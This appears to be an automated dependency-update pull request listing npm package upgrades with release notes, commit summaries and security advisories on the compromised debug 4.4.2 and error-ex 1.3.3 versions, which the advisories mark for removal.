- update cross-spawn version to 7.0.5 in package-lock.json (f700743)
7.0.5 (from changelog)
Bug Fixes
- fix escaping bug introduced by backtracking (640d391)
7.0.4 (from changelog)
Bug Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
chore(release): 7.0.6chore: upgrade standard-versionfix: update cross-spawn version to 7.0.5 in package-lock.jsonchore: fix build status badgechore(release): 7.0.5fix: fix escaping bug introduced by backtrackingchore: remove codecovchore: replace travis with github workflowschore(release): 7.0.4fix: disable regexp backtracking (#160)chore: fix tests in recent node js versionschore: convert package lockchore: remove unused argument (#156)chore: add travis jobs on ppc64le (#142)chore: fix audit warning
โ๏ธ debug (indirect, 4.3.2 โ 4.4.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ debug@4.4.2 contains malware after npm account takeover
Impact
On 8 September 2025, the npm publishing account for
debugwas taken over after a phishing attack. Version4.4.2was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct
<script>inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.
Patches
npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.
On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.
Users should upgrade to the latest patch version, completely remove their
node_modulesdirectory, clean their package manager's global cache, and rebuild any browser bundles from scratch.Those operating private registries or registry mirrors should purge the offending versions from any caches.
References
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack
- https://www.ox.security/blog/npm-packages-compromised/
Point of Contact
In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:
- Bluesky, package owner: https://bsky.app/profile/bad-at-computer.bsky.social
debugrepository, tracking issue (applies to all packages affected in the breach): #1005
Release Notes
4.4.3
Functionally identical release to
4.4.1.Version
4.4.2is compromised. Please see #1005.
4.4.1
What's Changed
- fix(Issue-996): replace whitespaces in namespaces string with commas globally by @pdahal-cx in #997
- fixes #987 fallback to localStorage.DEBUG if debug is not defined by @lzilioli in #988
New Contributors
- @pdahal-cx made their first contribution in #997
- @lzilioli made their first contribution in #988
Full Changelog: 4.4.0...4.4.1
4.4.0
Fixes (hopefully) the inefficient regex warnings in
.enable().Minor version as this is invariably going to break certain users who misuse the
.enable()API and expected it to work with regexes, which was never supported nor documented. That's on you, sorry - that functionality won't be added back.Full Changelog: 4.3.7...4.4.0
4.3.7
What's Changed
- Upgrade ms to version 2.1.3 by @realityking in #819
Full Changelog: 4.3.6...4.3.7
4.3.6
What's Changed
New Contributors
Full Changelog: 4.3.5...4.3.6
4.3.5
Patch
Thank you @calvintwr for the fix.
4.3.4
What's Changed
- Add section about configuring JS console to show debug messages by @gitname in #866
- Replace deprecated String.prototype.substr() by @CommanderRoot in #876
New Contributors
- @gitname made their first contribution in #866
- @CommanderRoot made their first contribution in #876
Full Changelog: 4.3.3...4.3.4
4.3.3
Patch Release 4.3.3
This is a documentation-only release. Further, the repository was transferred. Please see notes below.
- Migrates repository from https://github.com/visionmedia/debug to https://github.com/debug-js/debug. Please see notes below as to why this change was made.
- Updates repository maintainership information
- Updates the copyright (no license terms change has been made)
- Removes accidental epizeuxis (#828)
- Adds README section regarding usage in child procs (#850)
Thank you to @taylor1791 and @kristofkalocsai for their contributions.
Repository Migration Information
I've formatted this as a FAQ, please feel free to open an issue for any additional question and I'll add the response here.
Q: What impact will this have on me?
In most cases, you shouldn't notice any change.
The only exception I can think of is if you pull code directly from https://github.com/visionmedia/debug, e.g. via a
"debug": "visionmedia/debug"-type version entry in your package.json - in which case, you should still be fine due to the automatic redirection Github sets up, but you should also update any references as soon as possible.Q: What are the security implications of this change?
If you pull code directly from the old URL, you should update the URL to https://github.com/debug-js/debug as soon as possible. The old organization has many approved owners and thus a new repository could (in theory) be created at the old URL, circumventing Github's automatic redirect that is in place now and serving malicious code. I (@Qix-) also wouldn't have access to that repository, so while I don't think it would happen, it's still something to consider.
Even in such a case, however, the officially released package on npm (
debug) would not be affected. That package is still very much under control (even more than it used to be).Q: What should I do if I encounter an issue related to the migration?
Search the issues first to see if someone has already reported it, and then open a new issue if someone has not.
Q: Why was this done as a 'patch' release? Isn't this breaking?
No, it shouldn't be breaking. The package on npm shouldn't be affected (aside from this patch release) and any references to the old repository should automatically redirect.
Thus, according to all of the "APIs" (loosely put) involved, nothing should have broken.
I understand there are a lot of edge cases so please open issues as needed so I can assist in any way necessary.
Q: Why was the repository transferred?
I'll just list them off in no particular order.
- The old organization was defunct and abandoned.
- I was not an owner of the old organization and thus could not ban the non-trivial amount of spam users or the few truly abusive users from the org. This hindered my ability to properly maintain this package.
- The
debugecosystem intends to grow beyond a single package, and since new packages could not be created in the old org (nor did it make sense for them to live there), a new org made the most sense - especially from a security point of view.- The old org has way, way too many approved members with push access, for which there was nothing I could do. This presented a pretty sizable security risk given that many packages in recent years have fallen victim to backdoors and the like due to lax security access.
Q: Was this approved?
Q: Do I need to worry about another migration sometime in the future?
No.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
4.4.34.4.1remove istanbulfixes #987 fallback to localStorage.DEBUG if debug is not defined (#988)Replace whitespaces in namespaces string with commas globally instead of just the first space occurrence. (#997)4.4.0fix inefficient .enable() regex and .enabled() test4.3.7Upgrade ms to version 2.1.3 (#819)remove archaic badges from readme4.3.6Avoid using deprecated RegExp.$14.3.5update authorship contact infoFix/debug depth (#926)remove .github folder (and the outdated issue templates)Update ISSUE_TEMPLATE.mdUpdate ISSUE_TEMPLATE.md4.3.4replace deprecated String.prototype.substr() (#876)add section about configuring JS console to show debug messages (#866)4.3.3update license and more maintainership informationupdate repository location + maintainership informationadds README section regarding usage in child procs (#850)Remove accidental epizeuxis
โ๏ธ deep-is (indirect, 0.1.3 โ 0.1.4) ยท Repo
Commits
See the full diff on Github. The new version differs by 3 commits:
โ๏ธ define-properties (indirect, 1.1.3 โ 1.2.1) ยท Repo ยท Changelog
Release Notes
1.2.1 (from changelog)
Commits
1.2.0 (from changelog)
Commits
- [New] if the predicate is boolean
true, it compares the existing value with===as the predicated8dd6fc- [meta] add
auto-changelog7ebe2b0- [meta] use
npmignoreto autogenerate an npmignore file647478a- [Dev Deps] update
@ljharb/eslint-config,aud,tapee620d70- [Dev Deps] update
aud,tapef1e5072- [actions] update checkout action
628b3af
1.1.4 (from changelog)
- [Refactor] use
has-property-descriptors- [readme] add github actions/codecov badges
- [Docs] fix header parsing; remove testling
- [Deps] update
object-keys- [meta] use
prepublishOnlyscript for npm 7+- [meta] add
fundingfield; create FUNDING.yml- [actions] add "Allow Edits" workflow; automatic rebasing / merge commit blocking
- [actions] reuse common workflows
- [actions] update codecov uploader
- [actions] use
node/installinstead ofnode/run; usecodecovaction- [Tests] migrate tests to Github Actions
- [Tests] run
nycon all tests; usetaperunner- [Tests] use shared travis-ci config
- [Tests] use
npx audinstead ofnspornpm auditwith hoops- [Tests] remove
jscs- [Dev Deps] update
eslint,@ljharb/eslint-config,safe-publish-latest,tape; addaud,safe-publish-latest
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 43 commits:
v1.2.1[actions] use reusable rebase action[Refactor] use `define-data-property`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`v1.2.0[New] if the predicate is boolean `true`, it compares the existing value with `===` as the predicate[meta] add `auto-changelog`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[Dev Deps] update `aud`, `tape`[actions] update checkout actionv1.1.4[Refactor] use `has-property-descriptors`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[readme] add github actions/codecov badges[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `safe-publish-latest`, `tape`[actions] update codecov uploader[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[Tests] migrate tests to Github Actions[Tests] run `nyc` on all tests; use `tape` runner[meta] add "Allow Edits" workflow; update rebase workflow[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`; add `aud`[actions] switch Automatic Rebase workflow to `pull_request_target` event[actions] add automatic rebasing / merge commit blocking[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`, `safe-publish-latest`[Docs] fix header parsing; remove testling[Dev Deps] update `eslint`, `@ljharb/eslint-config`[Tests] use shared travis-ci config[meta] add `funding` field[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`; add `safe-publish-latest`[Deps] update `object-keys`[Tests] up to `node` `v12.10`, `v11.15`, `v10.16`, `v8.16`, `v6.17`[Tests] use `npx aud` instead of `nsp` or `npm audit` with hoops[meta] create FUNDING.yml[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `covert`, `tape`[Tests] up to `node` `v11.7`, `v10.15`, `v8.15`, `v6.16`[Tests] use `npm audit` instead of `nsp`[Tests] remove `jscs`
โ๏ธ doctrine (downgrade, 3.0.0 โ 2.1.0) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ electron-to-chromium (indirect, 1.3.799 โ 1.5.313) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ enhanced-resolve (indirect, 0.9.1 โ 5.20.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ env-editor (indirect, 0.4.2 โ 1.3.0) ยท Repo
Release Notes
1.3.0
- Add support for PhpStorm 08c327f
1.2.0
1.1.0
1.0.0
Breaking
0.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ error-ex (indirect, 1.3.2 โ 1.3.4) ยท Repo
Security Advisories ๐จ
๐จ error-ex@1.3.3 contains malware after npm account takeover
Impact
On 8 September 2025, an npm publishing account for
error-exwas taken over after a phishing attack. Version1.3.3was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct
<script>inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.
Patches
npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.
On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.
Users should update to the latest patch version, completely remove their
node_modulesdirectory, clean their package manager's global cache, and rebuild any browser bundles from scratch.Those operating private registries or registry mirrors should purge the offending versions from any caches.
References
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack
- https://www.ox.security/blog/npm-packages-compromised/
Point of Contact
In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:
- Bluesky, compromised publishing account owner: https://bsky.app/profile/bad-at-computer.bsky.social
debugrepository, tracking issue (applies to all packages affected in the breach): debug-js/debug#1005
Release Notes
1.3.4
Functionally identical release to
1.3.2.Version
1.3.3is compromised. Please see debug-js/debug#1005.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 3 commits:
โ๏ธ es-abstract (indirect, 1.18.5 โ 1.24.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ es-to-primitive (indirect, 1.2.1 โ 1.3.0) ยท Repo ยท Changelog
Release Notes
1.3.0 (from changelog)
Commits
- [actions] reuse common workflows
bb72efc- [Tests] use
es-value-fixturesa912f7b- [Tests] migrate tests to Github Actions
510baf0- [New] add types
69ba1fd- [meta] remove unused Makefile
4ea66e6- [actions] use
node/installinstead ofnode/run; usecodecovaction3c31937- [meta] do not publish github action workflow files
389567e- [meta] use
npmignoreto autogenerate an npmignore file9f3aa76- [actions] split out node 10-20, and 20+
c60d7d8- [Tests] run
nycon all tests; usetaperunner29cbb89- [meta] add
auto-changelogea744b2- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,function.prototype.name,has-symbols,object-inspect,object-is,tapee5c3c79- [actions] add automatic rebasing / merge commit blocking
a5a6f00- [Dev Deps] update
@ljharb/eslint-config,es-value-fixtures,function.prototype.name,npmignore,object-inspect,object-is,tape7941fd5- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,es-value-fixtures,foreach,object-inspect,tapeeb1c79c- [Dev Deps] update
eslint,@ljharb/eslint-config,function.prototype.name,object-inspect,safe-publish-latest,tape249b42f- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,function.prototype.name,object-inspect,object-is,taped57d5e9- [actions] update codecov uploader
003b62c- [actions] add "Allow Edits" workflow
75ee990- [Dev Deps] update
eslint,@ljharb/eslint-config,tape,object-is; addsafe-publish-latestba5da7b- [readme] remove travis badge
6f7aec7- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,object-inspect,tape3291fd5- [Dev Deps] update
eslint,@ljharb/eslint-config,function.prototype.name,has-symbols,object-inspect53007f2- [actions] update checkout action
69640db- [Dev Deps] update
eslint,@ljharb/eslint-config,object-is,tape; addaudc9d644e- [Tests] use
for-eachinstead offoreache9117bb- [readme] add github actions/codecov badges
53cd375- [Deps] update
is-callable,is-date-object,is-symbol8116c68- [Tests] fix test skipping for
Symbol.toPrimitivee6268ef- [actions] switch Automatic Rebase workflow to
pull_request_targeteventda41c40- [Deps] update
is-callable,is-date-object96fe13f- [Tests] replace
audwithnpm audit0b53154- [meta] use
prepublishOnlyscript for npm 7+9d7d485- [Deps] update
is-callable3c990b6- [Deps] update
is-callable9bcfff2- [Deps] update
is-callable1eb5478- [meta] only run
audon prod deps1fcd896- [Deps] update
is-symbol7174a47
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
v1.3.0[meta] add `auto-changelog`[New] add types[Tests] fix test skipping for `Symbol.toPrimitive`[actions] split out node 10-20, and 20+[Deps] update `is-callable`[Dev Deps] update `@ljharb/eslint-config`, `es-value-fixtures`, `function.prototype.name`, `npmignore`, `object-inspect`, `object-is`, `tape`[Tests] replace `aud` with `npm audit`[Tests] use `for-each` instead of `foreach`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `es-value-fixtures`, `foreach`, `object-inspect`, `tape`[actions] update checkout action[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `function.prototype.name`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploader[meta] do not publish github action workflow files[Tests] use `es-value-fixtures`[readme] add github actions/codecov badges[Deps] update `is-callable`, `is-date-object`, `is-symbol`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `object-inspect`, `tape`[Deps] update `is-callable`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `function.prototype.name`, `has-symbols`, `object-inspect`, `object-is`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+[Deps] update `is-callable`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `function.prototype.name`, `object-inspect`, `object-is`, `tape`[readme] remove travis badge[Tests] migrate tests to Github Actions[Tests] run `nyc` on all tests; use `tape` runner[actions] add "Allow Edits" workflow[actions] switch Automatic Rebase workflow to `pull_request_target` event[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `object-is`, `tape`; add `aud`[meta] only run `aud` on prod deps[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`, `object-is`; add `safe-publish-latest`[Deps] update `is-callable`, `is-date-object`[Deps] update `is-symbol`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `function.prototype.name`, `has-symbols`, `object-inspect`[meta] remove unused Makefile[actions] add automatic rebasing / merge commit blocking
โ๏ธ escalade (indirect, 3.1.1 โ 3.2.0) ยท Repo
Release Notes
3.2.0
Patches
- Declare separate ESM and CommonJS TypeScript definitions: a72e1c3
Previously, only ESM definitions were shipped but were exported in a way that could cause tool/resolution ambiguity.Chores
- Update Node.js version matrix in CI suite: a8c6820
Full Changelog: v3.1.2...v3.2.0
3.1.2
Patches
- Support TypeScriptโs
nodenextmodule resolution mode (#10): d872fbdThank you @NMinhNguyen
Chores
- Add
licenses.devbadge to README: 02dcb8b- Update CI matrix versions: 3c916b2
Full Changelog: v3.1.1...v3.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ eslint (indirect, 7.32.0 โ 9.39.4) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 10 commits:
9.39.4Build: changelog update for 9.39.4chore: update dependencies for ESLint v9.39.4 (#20596)chore: package.json update for @eslint/js releasedocs: add deprecation notice partial (#20520)fix: update dependency minimatch to ^3.1.5 (#20564)ci: pin Node.js 25.6.1 (#20563)fix: update dependency @eslint/eslintrc to ^3.3.4 (#20554)fix: minimatch security vulnerability patch for v9.x (#20549)fix: update `ajv` to `6.14.0` to address security vulnerabilities (#20538)
โ๏ธ eslint-formatter-pretty (indirect, 4.1.0 โ 7.0.0) ยท Repo
Release Notes
7.0.0
Breaking
- Require Node.js 20 206879b
Improvements
- Add universal hyperlinks for filename headers 206879b
6.0.1
6.0.0
Breaking
- Require Node.js 18 13383af
5.0.0
Breaking
- Require Node.js 14 ee9a212
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
โ๏ธ eslint-plugin-unicorn (indirect, 35.0.0 โ 63.0.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ eslint-rule-docs (indirect, 1.1.231 โ 1.1.235) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ eslint-scope (indirect, 5.1.1 โ 8.4.0) ยท Repo ยท Changelog
Release Notes
8.0.2
8.0.2 (2024-07-08)
Bug Fixes
8.0.1
8.0.1 (2024-03-20)
Documentation
Chores
8.0.0
8.0.0 (2024-01-04)
โ BREAKING CHANGES
- use ESTree
directiveproperty when searching for"use strict"(#118)- class
extendsis evaluated in the class scope (#116)- Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#115)
Features
- Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#115) (ed67857)
- use ESTree
directiveproperty when searching for"use strict"(#118) (23fe81f)Bug Fixes
Documentation
Chores
7.2.2
7.2.2 (2023-07-27)
Chores
7.2.1
7.2.1 (2023-05-31)
Chores
7.2.0
Features
Documentation
Build Related
Chores
7.1.1
Bug Fixes
Chores
7.1.0
Features
7.0.0
Breaking Changes
Build Related
6.0.0
4ee1d80Fix: Ensure correct version in package (#73) (Nicholas C. Zakas)82a7e6dBreaking: Switch to ESM (fixes #70) (#71) (Brett Zamir)0b4a5f1Update: support class fields (refs eslint/eslint#14343) (#69) (Toru Nagashima)39f8cfcChore: upgrade estraverse to version 5 (#68) (Rouven Weรling)ae27ff3Docs: Add range to espree options in README (fixes #66) (#67) (Alan Liang)
Does any of this look wrong? Please let us know.
โ๏ธ eslint-visitor-keys (indirect, 2.1.0 โ 5.0.1) ยท Repo ยท Changelog
Release Notes
5.0.1
4.0.0
4.0.0 (2024-02-08)
โ BREAKING CHANGES
- Require Node.js
^18.18.0 || ^20.9.0 || >=21.1.0(#63)Features
Chores
3.4.3
3.4.3 (2023-08-08)
Chores
3.4.2
3.4.2 (2023-07-27)
Documentation
Chores
3.4.1
3.4.1 (2023-05-05)
Bug Fixes
Chores
3.4.0
Features
Bug Fixes
Documentation
Build Related
Chores
3.3.0
Features
3.2.0
Features
Documentation
3.1.0
Enhancements
Documentation
Build Related
5e3e687build: upgrade eslint-release to v3.2.0 to support conventional commits (#31) (Milos Djermanovic)53d3939Build: add node v17 (#30) (ๅฏ็ถ)Chores
e89bff9Chore: use actions/setup-node@v2 (่ๅฎ่ฐ็็ซ)
3.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ espree (indirect, 7.3.1 โ 11.2.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ espurify (indirect, 2.1.1 โ 3.2.0) ยท Repo ยท Changelog
Release Notes
3.2.0 (from changelog)
Features
3.1.0 (from changelog)
Features
- Support ES2023 and ES2024 (a03f0b2e)
3.0.0 (from changelog)
Features
Provide ecmaVersion option to make cloned AST conform to each annual estree spec
- set default ecmaVersion to 2022
Introduce
espurify.purifyAstas an alias of default functionRename all WhiteList to AllowList in favor of more inclusive language
- support PropertyDefinition
- support PrivateIdentifier
- support StaticBlock
- support ChainExpression
- support ImportExpression
- support exported property of ExportAllDeclaration
- support BigInt literals
Breaking Changes
This release will not affect most users immediately. There are three notable changes.
espurifyfunction is still exported as default but deprecated in favor of named exports aiming ESM era, and will be removed in future major releases. Please useespurify.purifyAstinstead.
espurify.cloneWithWhitelistis still exported but deprecated in favor of more inclusive language and will be removed in future major releases. Please useespurify.cloneWithAllowlistinstead.Some new properties will appear in purified AST and may affect deep-equality of the tree, since default ecmaVersion is changed from 2018 to 2022 which add some properties to existing Nodes.
- CallExpression: ['type', 'callee', 'arguments'], + CallExpression: ['type', 'callee', 'arguments', 'optional'], - ExportAllDeclaration: ['type', 'source'], + ExportAllDeclaration: ['type', 'source', 'exported'], - Literal: ['type', 'value', 'regex'], + Literal: ['type', 'value', 'regex', 'bigint'],To make espurify's behavior same as v2, please use
espurify.customizefunction withecmaVersion: 2018option.const purify = espurify.customize({ ecmaVersion: 2018 }); const clonedAst = purify(originalAst);
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ esquery (indirect, 1.4.0 โ 1.7.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ estraverse (indirect, 4.3.0 โ 5.3.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ execa (indirect, 5.1.1 โ 9.6.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ fast-glob (indirect, 3.2.7 โ 3.3.3) ยท Repo
Release Notes
3.3.3
Full Changelog: 3.3.2...3.3.3
๐ฌ Common
๐ Bug fixes
3.3.2
Full Changelog: 3.3.1...3.3.2
๐ Bug fixes
3.3.1
Full Changelog: 3.3.0...3.3.1
This release fixes a regression for cases where the
ignoreoption is used with a string (#403, #404).The public interface of this package does not support a string as the value for the
ignoreoption since 2018 year (release).So, in the next major release, we will reintroduce method implementations that do not involve strings in the
ignoreoption.
3.3.0
Full Changelog: 3.2.12...3.3.0
๐ ImprovementsMethod aliases
New methods (
glob,globSync,globStream) have been added in addition to the current methods (default import,sync,stream), which eliminate the need to rename the method when importing. In addition, anasyncalias has been added for the default import, which makes it possible to use this packet with ESM.Method to convert paths to globs
A new method (
convertPathToPattern) has been added in this release to convert a path to a pattern. The primary goal is to enable users to avoid processing Windows paths in each location where this package is used by utilities from third-party packages.See more details in the pull request.
๐ Bug fixes
- In the past, we mishandled patterns that contained slashes when the
baseNameMatchoption was enabled, which went against the documented behavior. (#312)- Several problems with matching patterns that contain brace expansion have been resolved. The primary issue solved is when the pattern has duplicate slashes after it is expanded (#394), or the
micromatchpackage does not correctly generate a regular expression (#365).- All negative patterns will now have the
dotoption enabled when matching paths. Previously, the!**/*patterns did not exclude hidden files (start with a dot). (#343)- The issue that led to duplicates in the results when overlapping or duplicate patterns were present among the patterns has been fixed. At the moment, we are only talking about leading dot. Other cases are not included. For example, running with the patterns
['./file.md', 'file.md', '*']will now only includefile.mdonce in the results. (#190)
๐ DocumentationA clarifying note has been added for the
concurrencyoption, which provides more detailed information about the Thread Pool utilization.
โ๏ธ Infrastructure
- The benchmark in CI is now running on Node.js 20.
- The benchmark now uses the public package bencho instead of an in-house implementation. You may want to try this solution for your packages and provide feedback.
๐ฅ New Contributors
- @josh-hemphill made their first contribution in #383
- @mairaw made their first contribution in #401
3.2.12
Full Changelog: 3.2.11...3.2.12
๐ Bug fixesFixed an issue introduced in
3.2.7related to incorrect application of patterns to entries with a trailing slash when the entry is not a directory.Before changes:
fg.sync('**/!(*.md)') // ['file.md', 'a/file.md', 'a/file.txt']After fix:
fg.sync('**/!(*.md)') // ['a/file.txt']Thanks @AgentEnder for the issue (#357).
๐ ImprovementsThis release includes performance improvements for the asynchronous method. For this method we now use an asynchronous directory traversal interface instead of using a streaming interface. This gives up to 15% acceleration for medium and large directories. The result depends a lot on hardware.
You can find the benchmark results for this release in CI here.
Here are a few of measurements on my laptop:
===> Benchmark pattern "*" with 100 launches (regression, async) ===> Max stdev: 7 | Retries: 3 | Options: {} Name Time, ms Time stdev, % Memory, MB Memory stdev, % Entries Errors Retries --------------------- -------- ------------- ---------- --------------- ------- ------ ------- fast-glob-current.js 4.390 0.252 6.253 0.015 4 0 1 fast-glob-previous.js 5.653 0.633 6.051 0.056 4 0 1 ===> Benchmark pattern "**" with 100 launches (regression, async) ===> Max stdev: 7 | Retries: 3 | Options: {} Name Time, ms Time stdev, % Memory, MB Memory stdev, % Entries Errors Retries --------------------- -------- ------------- ---------- --------------- ------- ------ ------- fast-glob-current.js 34.587 1.287 10.654 0.607 11835 0 1 fast-glob-previous.js 41.972 2.086 10.236 1.224 11835 0 1
3.2.11
Full Changelog: 3.2.10...3.2.11
๐ Bug fixesYeap, this is another release aimed at fixing problems with detecting brace expansions in patterns. This time, patterns like
abc/{a.txt,b.js}was not marked as a dynamic pattern. So, now the regex has been rewritten to a generalized solution as a function to avoid future problems due to the complexity of the regular expression.
3.2.10
Full Changelog: 3.2.9...3.2.10
๐ Bug fixes
- Fixed a regression in
3.2.8when the{a,b,c}pattern no longer considered a dynamic pattern (thanks @amitdahan, #347).
๐ฅ New Contributors
- @amitdahan made their first contribution in #348
3.2.9
Full Changelog: 3.2.8...3.2.9
๐ Bug fixes
- Fixed a regression in
3.2.8with invalid regular expression on older node.js versions (#345).
3.2.8
Full Changelog: 3.2.7...3.2.8
๐ Bug fixesFix directory matching with trailing slashes (#290)
Thanks @Trott for investigating the problem and the detailed description.
Previously the
src/*/pattern did not work as expected (likesrc/*).Double-slash in the middle of the pattern is not collapsed (#330)
Starting from this release, patterns like
src//*will work like similar patterns without duplicate slashes. This was done for continuity with other solutions (glob,ls src//*, python, golang, โฆ).Adjust inefficient regular expressions (#336, #342, #344)
Thanks @Trott for fixing bugs and @XhmikosR for adding the CodeQL action to CI pipeline.
๐ Documentation
- Some documentation improvements (#327, thanks @MarcelloTheArcane).
โ๏ธ Infrastructure
- The CodeQL action has been added to CI pipeline (#338, thanks @XhmikosR).
๐ฅ New Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ fastq (indirect, 1.11.1 โ 1.20.1) ยท Repo
Release Notes
1.20.1
What's Changed
- chore(package): explicitly declare js module type by @Fdawgs in #95
- feat: migrate from StandardJS to ESLint with neostandard by @mcollina in #98
- feat: add abort() method to settle pending tasks by @mcollina in #101
New Contributors
Full Changelog: v1.19.1...v1.20.1
1.19.1
What's Changed
- Bump nyc from 15.1.0 to 17.0.0 by @dependabot in #84
- add comments to type declarations by @qpwo in #92
- Do not run coverage on older nodes by @mcollina in #93
New Contributors
Full Changelog: v1.19.0...v1.19.1
1.19.0
What's Changed
New Contributors
Full Changelog: v1.18.0...v1.19.0
1.18.0
What's Changed
New Contributors
Full Changelog: v1.17.1...v1.18.0
1.17.1
What's Changed
Full Changelog: v1.17.0...v1.17.1
1.17.0
What's Changed
- Bump typescript from 4.9.5 to 5.0.4 by @dependabot in #68
- fix ci by @Uzlopak in #72
- add running to typescript definition by @Uzlopak in #71
- fix: unshift with worker throwing error (#77) by @aguegu in #78
- Consistently respect the configured concurrency by @mart-jansink in #81
New Contributors
- @dependabot made their first contribution in #68
- @Uzlopak made their first contribution in #72
- @aguegu made their first contribution in #78
- @mart-jansink made their first contribution in #81
Full Changelog: v1.15.0...v1.17.0
1.16.0
What's Changed
- Bump typescript from 4.9.5 to 5.0.4 by @dependabot in #68
- fix ci by @Uzlopak in #72
- add running to typescript definition by @Uzlopak in #71
- fix: unshift with worker throwing error (#77) by @aguegu in #78
New Contributors
- @dependabot made their first contribution in #68
- @Uzlopak made their first contribution in #72
- @aguegu made their first contribution in #78
Full Changelog: v1.15.0...v1.16.0
1.15.0
What's Changed
New Contributors
Full Changelog: v1.14.0...v1.15.0
1.14.0
What's Changed
- Update README on error callback expected behaviour by @giovanni-bertoncelli in #59
- fix(typings): pass generic type to error handler by @AVVS in #62
New Contributors
- @giovanni-bertoncelli made their first contribution in #59
- @AVVS made their first contribution in #62
Full Changelog: v1.13.0...v1.14.0
1.13.0
What's Changed
